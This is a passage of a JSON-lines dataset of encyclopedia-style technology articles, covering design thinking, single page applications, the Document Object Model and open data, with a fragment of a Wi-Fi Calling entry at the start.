Calling, is decommissioned by T-Mobile in the US. \n\nNov  \n2018\n\nResearchers discover security vulnerabilities with Wi-Fi Calling due to various reasons. They propose possible solutions to overcome these.","meta":{"title":"Wi-Fi Calling","href":"wi-fi-calling"}}
{"text":"# Design Thinking\n\n## Summary\n\n\nDesign thinking is a problem-solving method used to create practical and creative solutions while addressing the needs of users. The process is extremely user centric as it focuses on understanding the needs of users and ensuring that the solutions created solve users' needs. \n\nIt's an iterative process that favours ongoing experimentation until the right solution is found.\n\n## Discussion\n\n### Why is the design thinking process important?\n\nDesign thinking helps us to innovate, focus on the user, and ultimately design products that solve real user problems. \n\nThe design thinking process can be used in companies to reduce the time it takes to bring a product to the market. Design thinking can significantly reduce the amount of time spent on design and development. \n\nThe design thinking process increases return of investment as the products are user-centric, which helps increase user engagement and user retention. It's been seen that a more efficient workflow due to design thinking gave 75% savings in design and development time, 50% reduction in defect rate, and a calculated ROI of more than 300%. \n\n\n### When and where should the design thinking process be used?\n\nThe design thinking process should especially be used when dealing with **human-centric challenges** and **complex challenges**. The design thinking process helps break down complex problems and experiment with multiple solutions. Design thinking can be applied in these contexts: human-centred innovation, problems affecting diverse groups, involving multiple systems, shifting markets and behaviours, complex societal challenges, problems that data can't solve, and more. \n\nA class of problems called **wicked problems** is where design thinking can help. Wicked problems are not easy to define and information about them is confusing. They have many stakeholders and complex interdependencies. \n\nOn the contrary, design thinking is perhaps an overkill for obvious problems, especially if they're not human centred. In such cases, traditional problem-solving methods may suffice. \n\n\n### What are the principles of the design thinking process?\n\nThere are some basic principles that guide us in applying design thinking: \n\n    + **The human rule**: All design activity is social because all social innovation will bring us back to the \"human-centric point of view\".\n    + **The ambiguity rule**: Ambiguity is inevitable, and it can't be removed or oversimplified. Experimenting at the limits of your knowledge and ability is crucial in being able to see things differently.\n    + **The redesign rule**: While technology and social circumstances may change, basic human needs remain unchanged. So, every solution is essentially a redesign.\n    + **The tangibility rule**: Making ideas tangible by creating prototypes allows designers to communicate them effectively.\n\n### What are the typical steps of a design thinking process?\n\nThe process involves five steps: \n\n    + **Empathy**: Put yourself in the shoes of the user and look at the challenge from the point of view of the user. Refrain from making assumptions or suggesting answers. Suspend judgements throughout the process.\n    + **Define**: Create a challenge statement based on the notes and thoughts you have gained from the empathizing step. Go back to the users and modify the challenge statement based on their inputs. Refer to the challenge statement multiple times throughout the design thinking process.\n    + **Ideate**: Come up with ideas to solve the proposed challenge. Put down even the craziest ideas.\n    + **Prototype**: Make physical representations of your ideas and solutions. Get an understanding of what the final product may look like, identify design flaws or constraints. Take feedback from users. Improve the prototype through iterations.\n    + **Test**: Evaluate the prototype on well-defined criteria.Note that empathy and ideate are divergent steps whereas others are convergent. Divergent means expanding information with alternatives and solutions. Convergent is reducing information or filtering to a suitable solution. \n\n\n### What are the specific tools to practice design thinking?\n\nDesign thinking offers tools for each step of its five-step process. These are summarized in the above figure. These tools offer individuals and teams something concrete to effectively practice design thinking.\n\nNew Metrics has enumerated 14 different tools: immersion, visualization, brainstorming, empathy mapping, journey mapping, affinity mapping, rapid iteration, assumption testing, prototyping, design sprints, design criteria, finding the value proposition, and learning launch. They describe each tool briefly and note the benefits. More tools include focus groups, shadowing, concept maps, personas, positioning matrix, minimum viable product, volume model, wireframing, and storyboards. \n\nFor specific software tools, we note the following: \n\n    + **Empathize**: Typeform, Zoom, Creatlr\n    + **Define**: Smaply, Userforge, MakeMyPersona\n    + **Ideate**: SessionLab, Stormboard, IdeaFlip\n    + **Prototype**: Boords, Mockingbird, POP\n    + **Test**: UserTesting, HotJar, PingPong\n    + **Complete Process**: Sprintbase, InVision, Mural, Miro\n\n### What should I keep in mind when applying the design thinking process?\n\nEvery designer can use a variation of the design thinking process that suits them and customize it for each challenge. Although distinct steps are defined, design thinking is not a linear process. Rather, it's very much **iterative**. For example, during prototyping we may go back to redefine the problem statement or look for alternative ideas. Every step gives us new information that might help us improve on previous steps.\n\nAdopt Agile methodology. Design thinking is strong on ideation while Scrum is strong on implementation. Combine the two to make a powerful hybrid Agile approach. \n\nWhile the steps are clear, applying them correctly is not easy. To identify what annoys your clients, ask questions. Empathy means that you should relate to their problems. Open-ended questions will stimulate answers and help identify the problems correctly. \n\nAt the end of the process, as a designer, reflect on the way you've gone through the process. Identify areas of improvement or how you could have done things differently. Gather insights on the way you went through the design thinking process.\n\n\n### What do I do once the prototype is proven to work?\n\nThe prototype itself can be said to \"work\" only after we have submitted it to the clients for feedback. Use this feedback to improve the prototype. Make the actual product after incorporating all the feedback from the prototype. \n\nGathering feedback itself is an important activity. Present your solution to the client by describing the thought process by which the challenge was solved. Take notes from users and ensure that they are satisfied with the final product. It's important not to defend your product. It's more important to listen to what users have to say and make changes to improve the solution. \n\nPresent several versions of the prototype so that users can compare and express what they like and dislike. Consider using *I Like, I Wish, What If* method for gathering feedback. Get feedback from regular users as well as extreme users with highly opinionated views. Be flexible and improvise during testing sessions. Allow users to contribute ideas. \n\nRecognize that prototyping and testing is an iterative process. Be prepared to do this a few times. \n\n\n### How is design thinking different from user-centred design?\n\nOn the surface, both design thinking and user-centred design (UCD) are focused on the needs of users. They have similar processes and methods. They aim for creative or innovative solutions. To elicit greater empathy among designers, UCD has been more recently called human-centred design (HCD). \n\nHowever, design thinking goes beyond usability. It considers technical feasibility, economic viability, desirability, etc. without losing focus on user needs. While UCD is dominated by usability engineers and focuses on user interfaces, design thinking has a larger scope. Design thinking brings more multi-disciplinary perspectives that can suggest innovative solutions to complex problems. While it borrows from UCD methods, it goes beyond the design discipline. \n\nSome see UCD as a framework and design thinking as a methodology that can be applied within that framework. Others see these as complementary: a team can start with design thinking for initial exploration and later shift to UCD for prototyping and implementation. \n\n\n### What are some ways to get more ideas?\n\nDesign thinking is not about applying standard off-the-shelf solutions. It's about solving difficult problems that typically require creative approaches and innovation. More ideas, the better. Use different techniques such as brainstorming, mind mapping, role plays, storyboarding, etc. \n\nInnovation is not automatic and needs to be fostered. We should create the right mindsets, an open and explorative culture. Designers should combine both logic and imagination. Teams should be cross-disciplinary and collaborative. Work environments must be conductive to innovation. \n\nWhen framing the problem, think about how the challenge can be solved in a certain place or scenario. For example, think about how one of your ideas would function differently in a setting such as a kitchen.\n\nWrite down even ideas that may not work. Further research and prototyping might help refine it. Moreover, during the prototyping and testing steps, current ideas can spark new ideas. \n\n## Milestones\n\nSep  \n1962\n\n*The Conference on Systematic and Intuitive Methods in Engineering, Industrial Design, Architecture and Communications* is held in London. It explores design processes and new design methods. Although the birth of design methodology can be traced to Zwicky's *Morphological Method* (1948), it's this conference that recognizes design methodology as a field of academic study. \n\n1966\n\nThe term **Design Science** is introduced. This shows that the predominant approach is to find \"a single rationalised method, based on formal languages and theories\". \n\n1969\n\nHerbert A. Simon, a Nobel Prize laureate and cognitive scientist, mentions the design thinking process in his book *The Sciences of the Artificial* and further contributes ideas that are now known as the principles of design thinking. \n\n1970\n\nThis decade sees some resistance to the adoption of design methodology. Even early pioneers begin to dislike \"the continual attempt to fix the whole of life into a logical framework\". \n\n1973\n\nRittel publishes *The State of the Art in Design Methods*. He argues that the early approaches of the 1960s were simplistic, and a new generation of methodologies are beginning to emerge in the 1970s. Rather than optimize through systematic methods, the **second generation** is about finding a satisfactory solution in which designers partner with clients, customers and users. This approach is probably more relevant to architecture and planning than engineering and industrial design. \n\n1980\n\nThis decade sees the development of **engineering design methodology**. An example is the series of *International Conferences on Engineering Design*. The American Society of Mechanical Engineers also launches a series of conferences on Design Theory and Methodology. \n\nOct  \n1982\n\nNigel Cross discusses the problem-solving nature of designers in his seminal paper *Designerly Ways of Knowing*. \n\n1987\n\nPeter Rowe, Director of Urban Design Programs at Harvard, publishes his book *Design Thinking*. This explores the underlying structure and focus of inquiry in design thinking. \n\n1991\n\nIDEO, an international design and consulting firm, brings design thinking to the mainstream by developing their own customer-friendly technology.","meta":{"title":"Design Thinking","href":"design-thinking"}}
{"text":"# Single Page Application\n\n## Summary\n\n\nA web application broadly consists of two things: data (content) and control (structure, styling, behaviour). In traditional applications, these are spread across multiple pages of HTML, CSS and JS files. Each page is served in HTML with links to suitable CSS/JS files. A Single Page Application (SPA) brings a new programming paradigm for the web.\n\nWith SPA, we have a single HTML page for the entire application. This page along with necessary CSS and JS for the site are loaded when the page is first requested. Subsequently, as the user navigates the app, only relevant data is requested from the server. Other files are already available with the client. The page doesn't reload but the view and HTML DOM are updated. \n\nSPA (along with PWA) is the modern way to build web applications. SPA enhances user experience. There are frameworks that simplify building SPAs.\n\n## Discussion\n\n### Could you explain the single page application for a beginner?\n\nIn a typical multi-page application, each page is generated as HTML on the server and served to the client browser. Each page has its own URL that's used by the client to request that page.\n\nWhen a user navigates from one page to another, the entire page loads. However, it's common for all pages to share many UI components: sidebar, header, footer, navigation menu, login/logout UI, and more. It's therefore wasteful to download these common elements with every page request. In terms of user experience, moving from one page to another might be annoying. Current page might lose UI interaction as user waits for another page to load.\n\nIn SPA, there's a single URL. When a link is clicked, relevant content is downloaded and specific UI components are updated to render that content. User experience improves because user stays with and can interact with the current page while the new content is fetched from the server. When an update happens, there's no transition to another page. Parts of the current page are updated with new content. \n\n\n### How does the lifecycle of an SPA request/response compare against a traditional multi-page app?\n\nIn multi-page apps, each request is for a specific page or document. Server looks at the URL and serves the corresponding page or document. The entire app is really a collection of pages. \n\nIn SPA, the first client request loads the app and all its relevant assets. These could be HTML plus JS/CSS files. If the app is complex, this initial bundle of files could be large. Therefore, the first view of the app can take some time to appear. During this phase, a loader image may be shown to the user. \n\nSubsequently, when the user navigates within the SPA, an API is called to fetch new data. The server responds with only the data, typically in JSON format. The browser receives this data and updates the app view. User sees this new information without a page reload. The app stays in the same page. Only the view changes by updating some components of the page. \n\nSPAs are well-suited when we wish to build rich interactive UI with lots of client-side behaviour. \n\n\n### Which are the different SPA architectures?\n\nApplication content might be stored in files or databases. It can be dynamic (news sites) or contextual (user specific). Therefore, the application has to transform this content into HTML so that users can read them in a web browser. This transformation process is called *rendering*. From this perspective, we note the following SPA architectures: \n\n    + **Client-Side Rendering**: When browser requests the site, server responds quickly with a basic HTML page. This is linked to CSS/JS files. While these files are loading, user sees a loader image. Once data loads, JavaScript on the browser executes to complete the view and DOM. Slow client devices can spoil user experience.\n    + **Server-Side Rendering**: HTML page is generated on the fly at the server. Users therefore see the content quickly without any loader image. At the browser, once events are attached to the DOM, app is ready for user interaction.\n    + **Static Site Generators**: HTML pages are pre-generated and stored at the server. This means that the server can respond immediately. Better still, the page can be served by a CDN. This is the fastest approach. This approach is not suitable for dynamic content.\n\n### What are the benefits of an SPA?\n\nWith SPA, applications load faster and use less bandwidth. User experience is seamless, similar to a native app. Users don't have to watch slow page reloads. Developers can build feature-rich applications such as content-editing apps. On mobile devices, the experience is richer: clicks can be replaced with scrolling and amazing transitions. With browsers providing many developer tools, SPAs are also easy to debug on the client side. \n\nSPA optimizes bandwidth usage. Main resources (HTML/CSS/JS) are downloaded only once and reused. Subsequently, only data is downloaded. In addition, SPAs can cache data, thereby saving bandwidth. Caching also enables the application to work offline. \n\n\n### What are some criticisms or disadvantages of an SPA?\n\nAmong the disadvantages of SPA is **SEO**. SPA has a single URL and all routing happens via JavaScript. More recently, Google is able to crawl and index JS files. In general, use multi-page apps if SEO is important. Adopt SPA for SaaS platforms, social networks or closed communities where SEO doesn't matter. \n\nSPA breaks **browser navigation**. Browser's back button will go to previous page rather than previous app view. This can be overcome with the *HTML5 History API*. \n\nSPA could lead to **security issues**. Cross-site scripting attacks are possible. If developers are not careful, sensitive data could be part of the initial data download. Since all this data is not necessarily displayed on the UI, it can give developers a false sense of security. Developers could also unknowingly provide access to privileged functionality at the client side. \n\nSPA needs **client-side processing** and therefore may not work well on old browsers or slow devices. It won't work if users turn off JavaScript in their browsers. SPAs can be hard to maintain due to reliance on many third-party libraries. \n\nIt's worth reading Adam Silver's article on the many disadvantages of SPAs. \n\n\n### What are some best practices when converting a traditional app to SPA?\n\nAn SPA has to implement many things that come by default in traditional apps: browsing history, routing, deep linking to particular views. Therefore, **select a framework** that facilitates these. Select a framework with a good ecosystem and a modular structure. It must be flexible and performant for even complex UI designs. \n\nAfter the initial page loads, subsequent data is loaded by making API calls. Building an SPA implies a **well-defined API**. Involve both frontend and backend engineers while creating this API. In one approach, serve static files separately from the data that's handled by API endpoints. \n\nDefine clearly which parts of the UI are dynamic. This helps to organize project modules. Structure the project to enable **reusable components**. \n\nDue to its high reliance on JavaScript, invest in **build tools** for better dependency management. Webpack is a good choice. A build process can do code compilation (via Babel), file bundling and minification. \n\nWhen converting to an SPA, don't take an all-out approach. **Migrate incrementally**, perhaps one page at a time. \n\n\n### How do I test and measure performance of an SPA?\n\nTesting tools Selenium, Cypress and Puppeteer can also be used to measure app performance. WebPageTest is an online tool that's easier to use. Compared to multi-page apps, there's more effort to fill forms or navigate across views. \n\nApplication performance on the client side can be monitored via Navigation Timing API and Resource Timing API. But these fail to capture JavaScript execution times. To address this, User Timing API can be used. LinkedIn took this approach and improved the performance of their SPA by 20%. Among the techniques they used are lazy rendering (defer rendering outside viewport) and lazy data fetching. \n\nAt Holiday Extras, their app took 23 seconds to load on a good 3G connection. To reduce this, they adopted code splitting to defer loading of non-critical libraries. CSS was also split into three parts loaded at different stages: critical, body, onload. They moved from JS rendering to HTML rendering, and then started serving static HTML from Cloudfront CDN. They did real user monitoring (RUM). Among the tools they used were React, EJS, Webpack, and Speed Curve. \n\n\n### Could you mention some popular websites or web apps that are SPAs?\n\nFacebook, Google Maps, Gmail, Twitter, Google Drive, and GitHub are some examples of websites built as SPAs. \n\nFor example, in Gmail we can read mails, delete mails, compose and send mails without leaving the page. It's the same with Google Maps in which new locations are loaded and displayed in a seamless manner. In Grammarly, writers get suggestions and corrections as they compose their content. All this is powered by HTML5 and AJAX to build responsive apps. \n\nTrello is another example of SPA. The card layout, overlays, and user interactions are all done without any page reloads. \n\n\n### Which are some tools and frameworks to help me create an SPA?\n\nThe three main frameworks for building SPAs are React, Angular and Vue on the client side, and Node.js on the server side. All these are based on JavaScript. Other JavaScript frameworks include Meteor, Backbone, Ember, Polymer, Knockout and Aurelia.  \n\nDevelopers can choose the right framework by comparing how each implements or supports UI, routing, components, data binding, usability, scalability, performance, and testability. For example, while Ember comes with routing, React doesn't; but many modules for React support routing. React supports reusable components. React supports one-way data binding whereas Angular supports two-way data binding. Ember and Meteor are opinionated whereas React and Angular are less so and more flexible. \n\n.NET/C# developers can consider using Blazor. Blazor can work both at client side and server side. It runs in a web browser due to WebAssembly. \n\nDesign tools support traditional multi-page sites. Adobe Experience Manager Sites is a tool that allows designers to create or edit SPAs. It supports drag-and-drop editing, out-of-the-box components and responsive web design. \n\n\n### How does an SPA differ from PWA?\n\nPWA uses standard web technologies to deliver mobile native app-like experience. They were meant to make responsive web apps feel more native on mobile platforms. PWA enables the app to work offline, push notifications and access device hardware. Unlike SPA, PWA use service workers, web app manifest and HTTPS. \n\nPWA load almost instantly since service workers run in a separate thread from the UI. SPAs need to pre-fetch assets at the start and therefore there's always an initial loading screen. SPAs can also use service workers but PWA do it better. In terms of accessibility, PWA are better than SPAs. SPAs might be suited for data-intensive sites that are not necessarily visually stunning. \n\nBut PWA are not so different from SPA. Both offer app-like user experience. Many PWA are built with the same frameworks that are used to build SPA. In fact, an app might initially be developed as an SPA. Later, additional features such as caching, manifest icons and loading screens could be added. These make an SPA more like a PWA. \n\n## Milestones\n\n1995\n\nIn the mid-1990s, rich interactions on web browsers become possible due to two different technologies: **Java Applets** and **Macromedia Flash**. Browsers are merely proxies for these technologies that have to be explicitly installed as browser plugins. With these technologies, all content is either loaded upfront or loaded on demand as the view changes. No page reloads are necessary. In this sense, these are ancestors of modern SPAs. \n\n2005\n\nJesse James Garrett publishes a paper titled *Ajax: A New Approach to Web Applications*. This describes a novel way to design web applications. AJAX, that expands to **Asynchronous Javascript + XML**, makes asynchronous requests in the background while the user continues to interact with the UI in the foreground. Once the server responds with XML (or JSON or any other format) data, the browser updates the view. AJAX uses the `XMLHTTPRequest` API. While this was around since the early 2000s, Garrett's paper popularizes this approach. \n\n2008\n\nWith the launch of GitHub, many JavaScript libraries and frameworks are invented and shared via GitHub. These become the building blocks on which true SPAs would later be built. \n\nSep  \n2010\n\nTwitter releases a new version of its app with client-side rendering using JavaScript. Initial page load becomes slow. Due to diversity of client devices and browsers, user experience becomes inconsistent. In 2012, Twitter updates the app towards server-side rendering and defers all JS execution until the content is rendered on browser. They also organize the code as CommonJS modules and do lazy loading. These changes reduce the initial page load to a fifth. \n\nMay  \n2016\n\nGoogle builds an app for its Google I/O event. Google engineers call this both an SPA and a PWA. With an App Engine backend, the app uses web components, Web Animations API, material design, Polymer and Firebase. During the event the app brings more user engagement than the native app. We might say that the app started as a SPA to create a PWA. In general, it's better to plan for a PWA from the outset rather than re-engineer an SPA at a later point. \n\nFeb  \n2019\n\nGoogle engineers compare different SPA architectures in terms of performance. One of these is called **rehydration** which combines both server-side and client-side renderings. This has the drawback that content loads quickly but not immediately interactive, thus frustrating the user. \n\nMay  \n2019\n\nWith the rise of edge computing, Section describes in a blog post how a Nuxt.js app (based on Vue.js) can be deployed at the edge. The app is housed within a Node.js module deployed at the edge. This SPA uses server-side rendering.","meta":{"title":"Single Page Application","href":"single-page-application"}}
{"text":"# Document Object Model\n\n## Summary\n\n\nDocument Object Model (DOM) is the object-oriented representation of an HTML or XML document. It defines a platform-neutral programming interface for accessing various components of a webpage, so that JavaScript programs can change document structure, style, and content programmatically. \n\nIt generates a hierarchical model of the HTML or XML document in memory. Programmers can access/manipulate tags, IDs, classes, attributes and elements using commands or methods provided by the document object. It's a logical structure because DOM doesn't specify any relationship between objects. \n\nTypically you use DOM API when documents can fit into memory. For very large documents, streaming APIs such as Simple API for XML (SAX) may be used.\n\nThe W3C DOM and WHATWG DOM are standards implemented in most modern browsers. However, many browsers extend these standards. Web applications must keep in view the DOM standard used for maintaining interoperability across browsers.\n\n## Discussion\n\n### What are the different components of a DOM?\n\nPurpose of DOM is to mirror HTML/XML documents as an in-memory representation. It's composed of: \n\n    + Set of objects/elements\n    + Hierarchical structure to combine objects\n    + An interface to access/modify objectsDOM lists the required interface objects, with supported methods and fields. DOM-compliant browsers are responsible to supply concrete implementation in a particular language (mostly JavaScript).\n\nSome HTML DOM objects, functions & attributes: \n\n    + **Node** - Each tree node is a Node object. Different types of nodes inherit from the basic `Node` interface.\n    + **Document** - Root of the DOM tree is the HTMLDocument node. Usually available directly from JavaScript as document or window. Gives access to properties associated with a webpage such as URL, stylesheets, title, or characterSet. The field `document.documentElement` represents the child node of type `HTMLElement` and corresponds to `<html>` element.\n    + **Attr** – An attribute in an `HTMLElement` object providing the ability to access and set an attribute. Has name and value fields.\n    + **Text** — A leaf node containing text inside a markup element. If there is no markup inside, text is contained in a single `Text` object (only child of the element).\n\n### Can you show with an example how a web page gets converted into its DOM?\n\nThe simplest way to see the DOM generated for any webpage is using \"Inspect\" option within your browser menu. DOM element navigation window that opens allows you to scroll through the element tree on the page. You can also alter some element values and styles – text, font, colours. Event listeners associated with each elements are also listed. \n\nThe document is the root node of the DOM tree and offers many useful properties and methods. `document.getElementById(str)` gives you the element with `str` as id (or name). It returns a reference to the DOM tree node representing the desired element. Referring to the figure, `document.getElementById('div1')` will return the first \"div\" child node of the \"body\" node.\n\nWe can also see that \"html\" node has two direct children, \"head\" and \"body\". This example also shows three leaf nodes containing only text. These are one \"title\" and two \"p\" tags.\n\nCorresponding CSS and JavaScript files referenced from HTML code can also be accessed through DOM objects. \n\n\n### How is JavaScript used to manipulate the DOM of a web page?\n\nThe ability to manipulate webpages dynamically using client-side programming is the basic purpose behind defining a DOM. This is achieved using DHTML. DHTML is not a markup language but a technique to make dynamic web pages using client-side programming. For uniform cross-browser support of webpages, DHTML involves three aspects:\n\n    + **JavaScript** - for scripting cross-browser compatible code\n    + **CSS** - for controlling the style and presentation\n    + **DOM** - for a uniform programming interface to access and manipulate the web page as a documentGoogle Chrome, Microsoft Edge, Mozilla Firefox and other browsers support DOM through standard JavaScript. JavaScript programming can be used to manipulate the HTML page rendering, the underlying DOM and the supporting CSS. List of some important DOM related JavaScript functionalities: \n\n    + Select, Create, Update and Delete DOM Elements (reference by ID/Name)\n    + Style setting of DOM Elements – color, font, size, etc\n    + Get/set attributes of Elements\n    + Navigating between DOM elements – child, parent, sibling nodes\n    + Manipulating the BOM (Browser Object Model) to interact with the browser\n    + Event listeners and propagation based on action triggers on DOM elements\n\n### Can DOM be applied to documents other than HTML or XML?\n\nBy definition, DOM is a language-neutral object interface. W3 clearly defines it as an API for valid HTML and well-formed XML documents. Therefore, a DOM can be defined for any XML compliant markup language. The WHATWG community manages the HTML DOM interface. Some Microsoft specific XML extensions define their own DOM. \n\n**Scalable Vector Graphics (SVG)** is an XML-based markup language for describing two-dimensional vector graphics. It defines its own DOM API. \n\n**XAML** is a declarative markup language promoted by Microsoft, used in UI creation of .NET Core apps. When represented as text, XAML files are XML files with `.xaml` extension. By treating XAML as a XAML node stream, XAML readers communicate with XAML writers and enable a program to view/alter the contents of a XAML node stream similar to the XML Document Object Model (DOM) and the `XmlReader` and `XmlWriter` classes.  \n\n**Standard Generalized Markup Language (SGML)** is a standard for how to specify a document markup language or tag set. The DOM support for SGML documents is limited to parallel support for XML. While working with SGML documents, the DOM will ignore `IGNORE` marked sections and `RCDATA` sections. \n\n\n### What are the disadvantages of using DOM?\n\nThe biggest problem with DOM is that it is **memory intensive**. While using the DOM interface, the entire HTML/XML is parsed and a DOM tree (of all nodes) is generated and returned. Once parsed, the user can navigate the tree to access data in the document nodes. DOM interface is easy and flexible to use but has an overhead of parsing the entire HTML/XML before you can start using it. So when the document size is large, the memory requirement is high and initial document loading time is also high. For small devices with limited on board memory, DOM parsing might be an overhead. \n\nSAX (Simple API for XML) is another document parsing technique where the parser doesn’t read in the entire document. Events are triggered when the XML is being parsed. When it encounters a tag start (e.g. `<sometag>`), then it triggers the tagStarted event. When the end of the tag is seen (`</sometag>`), it triggers tagEnded. So it's better in terms of memory efficiency for heavy applications. \n\nIn earlier days, the DOM standard was not uniformly adopted by various browsers, but that incompatibility issue doesn’t exist anymore. \n\n\n### What sort of DOM support is offered by React, Node.js and other JavaScript-based platforms?\n\nEverything in DOM is a node – document/element/attribute nodes, etc. But if you have a list of 10 items on your webpage and after some user interaction, need to update one of them, the entire DOM will be re-rendered. This is especially troublesome in Single Page Applications (SPAs).\n\nReact WebUI framework solves this by creating a **virtual DOM** which is an in-memory data-structure cache for selective rendering. Differences in the node rendering are computed, browser's displayed DOM is updated efficiently, \"reconciled\" by the algorithm. \n\nNodeJS runtime environment has its own implementation for DOM interface, used when we need to work with HTML on server side for some reason. The DOM `Node` interface is an abstract base class upon which many other DOM API objects are based, thus letting those object types to be used similarly and often interchangeably. `jsdom` is a pure JavaScript implementation of WHATWG DOM and HTML Standards for use with Node.js.   \n\nIn AngularJS scripting framework, there are directives for binding application data to attributes of HTML DOM elements. Ex. `ng-disabled` directive binds AngularJS application data to the disabled attribute of HTML elements. \n\n## Milestones\n\n1995\n\nBrendan Eich and Netscape design and release JavaScript, first supported in Netscape Navigator. In subsequent years, JavaScript becomes one of the core technologies of the World Wide Web, alongside HTML and CSS. All major web browsers have a dedicated JavaScript engine to execute it. In 1997, it's standardized as ECMAScript. \n\n1996\n\nJScript is introduced as the Microsoft dialect of the ECMAScript standard. Limited support for user-generated events and modifying HTML documents in the first generation of JavaScript & JScript is called \"DOM Level 0\" or **Legacy DOM**. No independent standard is developed for DOM Level 0, but it's partly described in the specifications for HTML 4. \n\n1997\n\nNetscape and Microsoft release version 4.0 of Netscape Navigator and Internet Explorer respectively. DHTML support is added to enable changes to a loaded HTML document. DHTML requires extensions to Legacy DOM implementations but both browsers developed them in parallel and remain incompatible. These versions of the DOM later become known as the **Intermediate DOM**. \n\n1998\n\nW3C DOM Working Group drafts a standard DOM specification, known as **DOM Level 1** that becomes the W3C Recommendation in 1998. This is after the standardization of ECMAScript. \n\n2001\n\nMicrosoft Internet Explorer version 6 comes out with support for W3C DOM. \n\n2004\n\nMozilla comes out with its *Design Principles for Web Application Technologies*, the consensus opinion of the Mozilla Foundation and Opera Software in the context of standards for Web Applications and Compound Documents. This defines browser code compatibility with HTML, CSS, DOM, and JavaScript. \n\n2005\n\nLarge parts of W3C DOM are well-supported by all the common ECMAScript-enabled browsers including Safari and Gecko-based browsers (like Mozilla, Firefox, SeaMonkey and Camino). \n\n2020\n\nThe HTML DOM living standard is a constantly updated standard maintained by WHATWG.org, with latest updates happening continuously.","meta":{"title":"Document Object Model","href":"document-object-model"}}
{"text":"# Open Data\n\n## Summary\n\n\nThe idea of open data is to share data freely with others. Openness also allows others to modify, reuse or redistribute the data. Openness has two facets: legal and technical. **Legal openness** is about applying a suitable open license to the data. **Technical openness** is about removing technical barriers and making it easy to access, read, store or process the data. \n\nBy opening up data, others can unlock value in the form of information and knowledge. For example, in the travel sector, locations, images, prices and reviews are data that can help us plan a holiday. Information is data within a given context. Knowledge personalizes information and helps us make decisions. \n\nMany organizations worldwide promote open data. Open licenses, datasets and tools are available. Governments are releasing open data that citizens can use.\n\n## Discussion\n\n### Could you describe open data?\n\nDatabase is really about structure and organization of data, also known as the database model. This is generally covered by copyright. In the context of open data, we're more concerned with the contents of the database, which we simply call data. \n\nData can mean a single item or an entire collection. Particularly for factual databases, a collection can be protected but not individual items. For example, a protected collection may be about the melting point of various substances but no one can be prevented from stating a particular item, such as element E melts at temperature T. \n\nTo understand the meaning of openness, we can refer to the *Open Definition* that states, \"Open means anyone can freely access, use, modify, and share for any purpose (subject, at most, to requirements that preserve provenance and openness).\" \n\nOpen data should be accessible at a reasonable cost if not free. It should be available in bulk. There shouldn't be restrictions on who or for what purpose they wish to use the data. Tools to use the data should be freely available and not proprietary. Data shouldn't be locked up behind passwords or firewalls. \n\n\n### Where could open data be useful?\n\nOpen data can make governments more transparent. Citizens will have confidence that their money is being spent as budgeted or in implementing the right policies. For example, one activist noted that Canadian citizens used open data to save their government $3.2bn in fraudulent charitable donations. In Brazil, DataViva provides millions of interactive visualizations based on open government data. \n\nNew business opportunities are possible. For example, once Transport for London opened their data, developers used it to build apps. Likewise, Thomson Reuters uses open data to provide better services to its customers. OpenStreetMap and Copernicus are examples that enable new GIS applications. \n\nIn research, open data is a part of what is called Open Science. It leads to reproducible research and faster advancements. Open data also enables researchers to revalidate their own findings. \n\nOpen data can be used to protect the environment. Some apps that do this include mWater, Save the Rain and Ecofacts. \n\n\n### Could you mention some sources of open data?\n\nThere are many curated lists on the web for open data. From some of these, we mention a few useful sources of open data by category:   \n\n    + **General**: DBpedia, Datasets Subreddit, Kaggle, FiveThirtyEight, Microsoft Marco\n    + **Government**: Data.gov, Data.gov.uk, European Union Open Data Portal\n    + **Economy**: World Bank Open Data, Global Financial Data, International Monetary Fund\n    + **Business**: OpenCorporates, Yellowpages, EU-Startups, Glassdoor\n    + **Health & Science**: World Health Organization, HealthData.gov, NHS Digital, Open Science Data Cloud, NASA Earth Data, LondonAir\n    + **Research**: Google Scholar, Pew Research Center, OpenLibrary Data Dumps, CERN Open Data\n    + **Environment**: Climate Data Online, IEA Atlas of Energy\n\n### Which are some organizations working with or for open data?\n\nWe mention a few organizations:\n\n    + Open Data Institute: Works with companies and governments to build an open, trustworthy data ecosystem, where people can make better decisions using data and manage any harmful impacts.\n    + Open Data Commons: Provides a set of legal tools to publish and use open data. They've published open licenses applicable to data.\n    + Open Knowledge Foundation: A worldwide network of people passionate about openness, using advocacy, technology and training to unlock information and enable people to work with it to create and share knowledge. It was briefly called Open Knowledge International. The Open Definition is one of their projects.\n    + Open Data Charter: A collaboration between governments and organisations working to open up data based on a shared set of principles.\n\n### Why and what aspects of open data should we standardize?\n\nData is more valuable if we can combine two different datasets to obtain new insights. **Interoperability** is the key. Given diverse systems, tools and data formats, interoperability can be almost impossible. \n\nWithout standards, it becomes more difficult for us to publish, access or share data effectively. Standards also make it easier to repeat processes, compare results and reach a shared understanding. Moreover, we need **open standards** that are available to public and are defined through collaboration and consensus. \n\nOpen standards should define a common data model. The data pipeline should be streamlined. It should be easy to combine data. It should promote common understanding. \n\nOpen Data Institute's page on standards is a useful resource to learn more. A checklist for selecting a suitable standard looks at the licensing, project needs, maintenance of the standard, and guidance on usage. \n\n\n### What sort of licensing should I adopt when opening my data?\n\nReleasing your data without a license creates uncertainty. In some jurisdictions, data lacking explicit permission may be protected by intellectual property rights. It's therefore better to attach a license. \n\nAspects that define a license include public domain, attribution, share-alike, non-commercial, database only and no derivatives. \n\nThere are a number of licenses that conform to Open Definition. *Creative Commons CC0* is an example. It releases the data into public domain. Anyone can copy, modify and distribute, even for commercial purposes, without asking permission. A similar license is *Open Data Commons Public Domain Dedication and Licence (PDDL)*. Other conformant but less reusable licenses are data licenses from governments (Germany, UK, Canada, Taiwan). UK's Open Government Licence is an example.\n\nTwo other licenses worth looking at come from the Linux Foundation: CDLA–Sharing-1.0 and CDLA-Permissive-1.0, where CDLA refers to Community Data License Agreement. \n\n*Open Data Commons Open Database License (ODC-ODbL)* is seen as a \"viral license\". Any changes you make to the dataset, you're required to release the same under this license.  \n\n\n### What are some challenges with open data?\n\nPublishers continue to use customized licenses. This makes it hard to reuse data. It makes licenses incompatible across datasets. Instead, they should use standardized open licenses. Ambivalent or redundant clauses cause confusion. Licenses often are not clear about the data to which they apply. Data is often not linked to legal terms. \n\nData is hard to find. Sometimes their locations change. A platform such as CKAN might help. \n\nData could be misinterpreted, which could result in a wrong decision. This creates a fear of accountability and prevents producers from opening their datasets. \n\nQuality of data is another concern. Data should be machine-readable and in raw form. Publishing data in HTML or PDF is not research friendly. For context and interpretation, metadata should be shared. \n\nRaw data is good but also requires advanced technical skills and domain 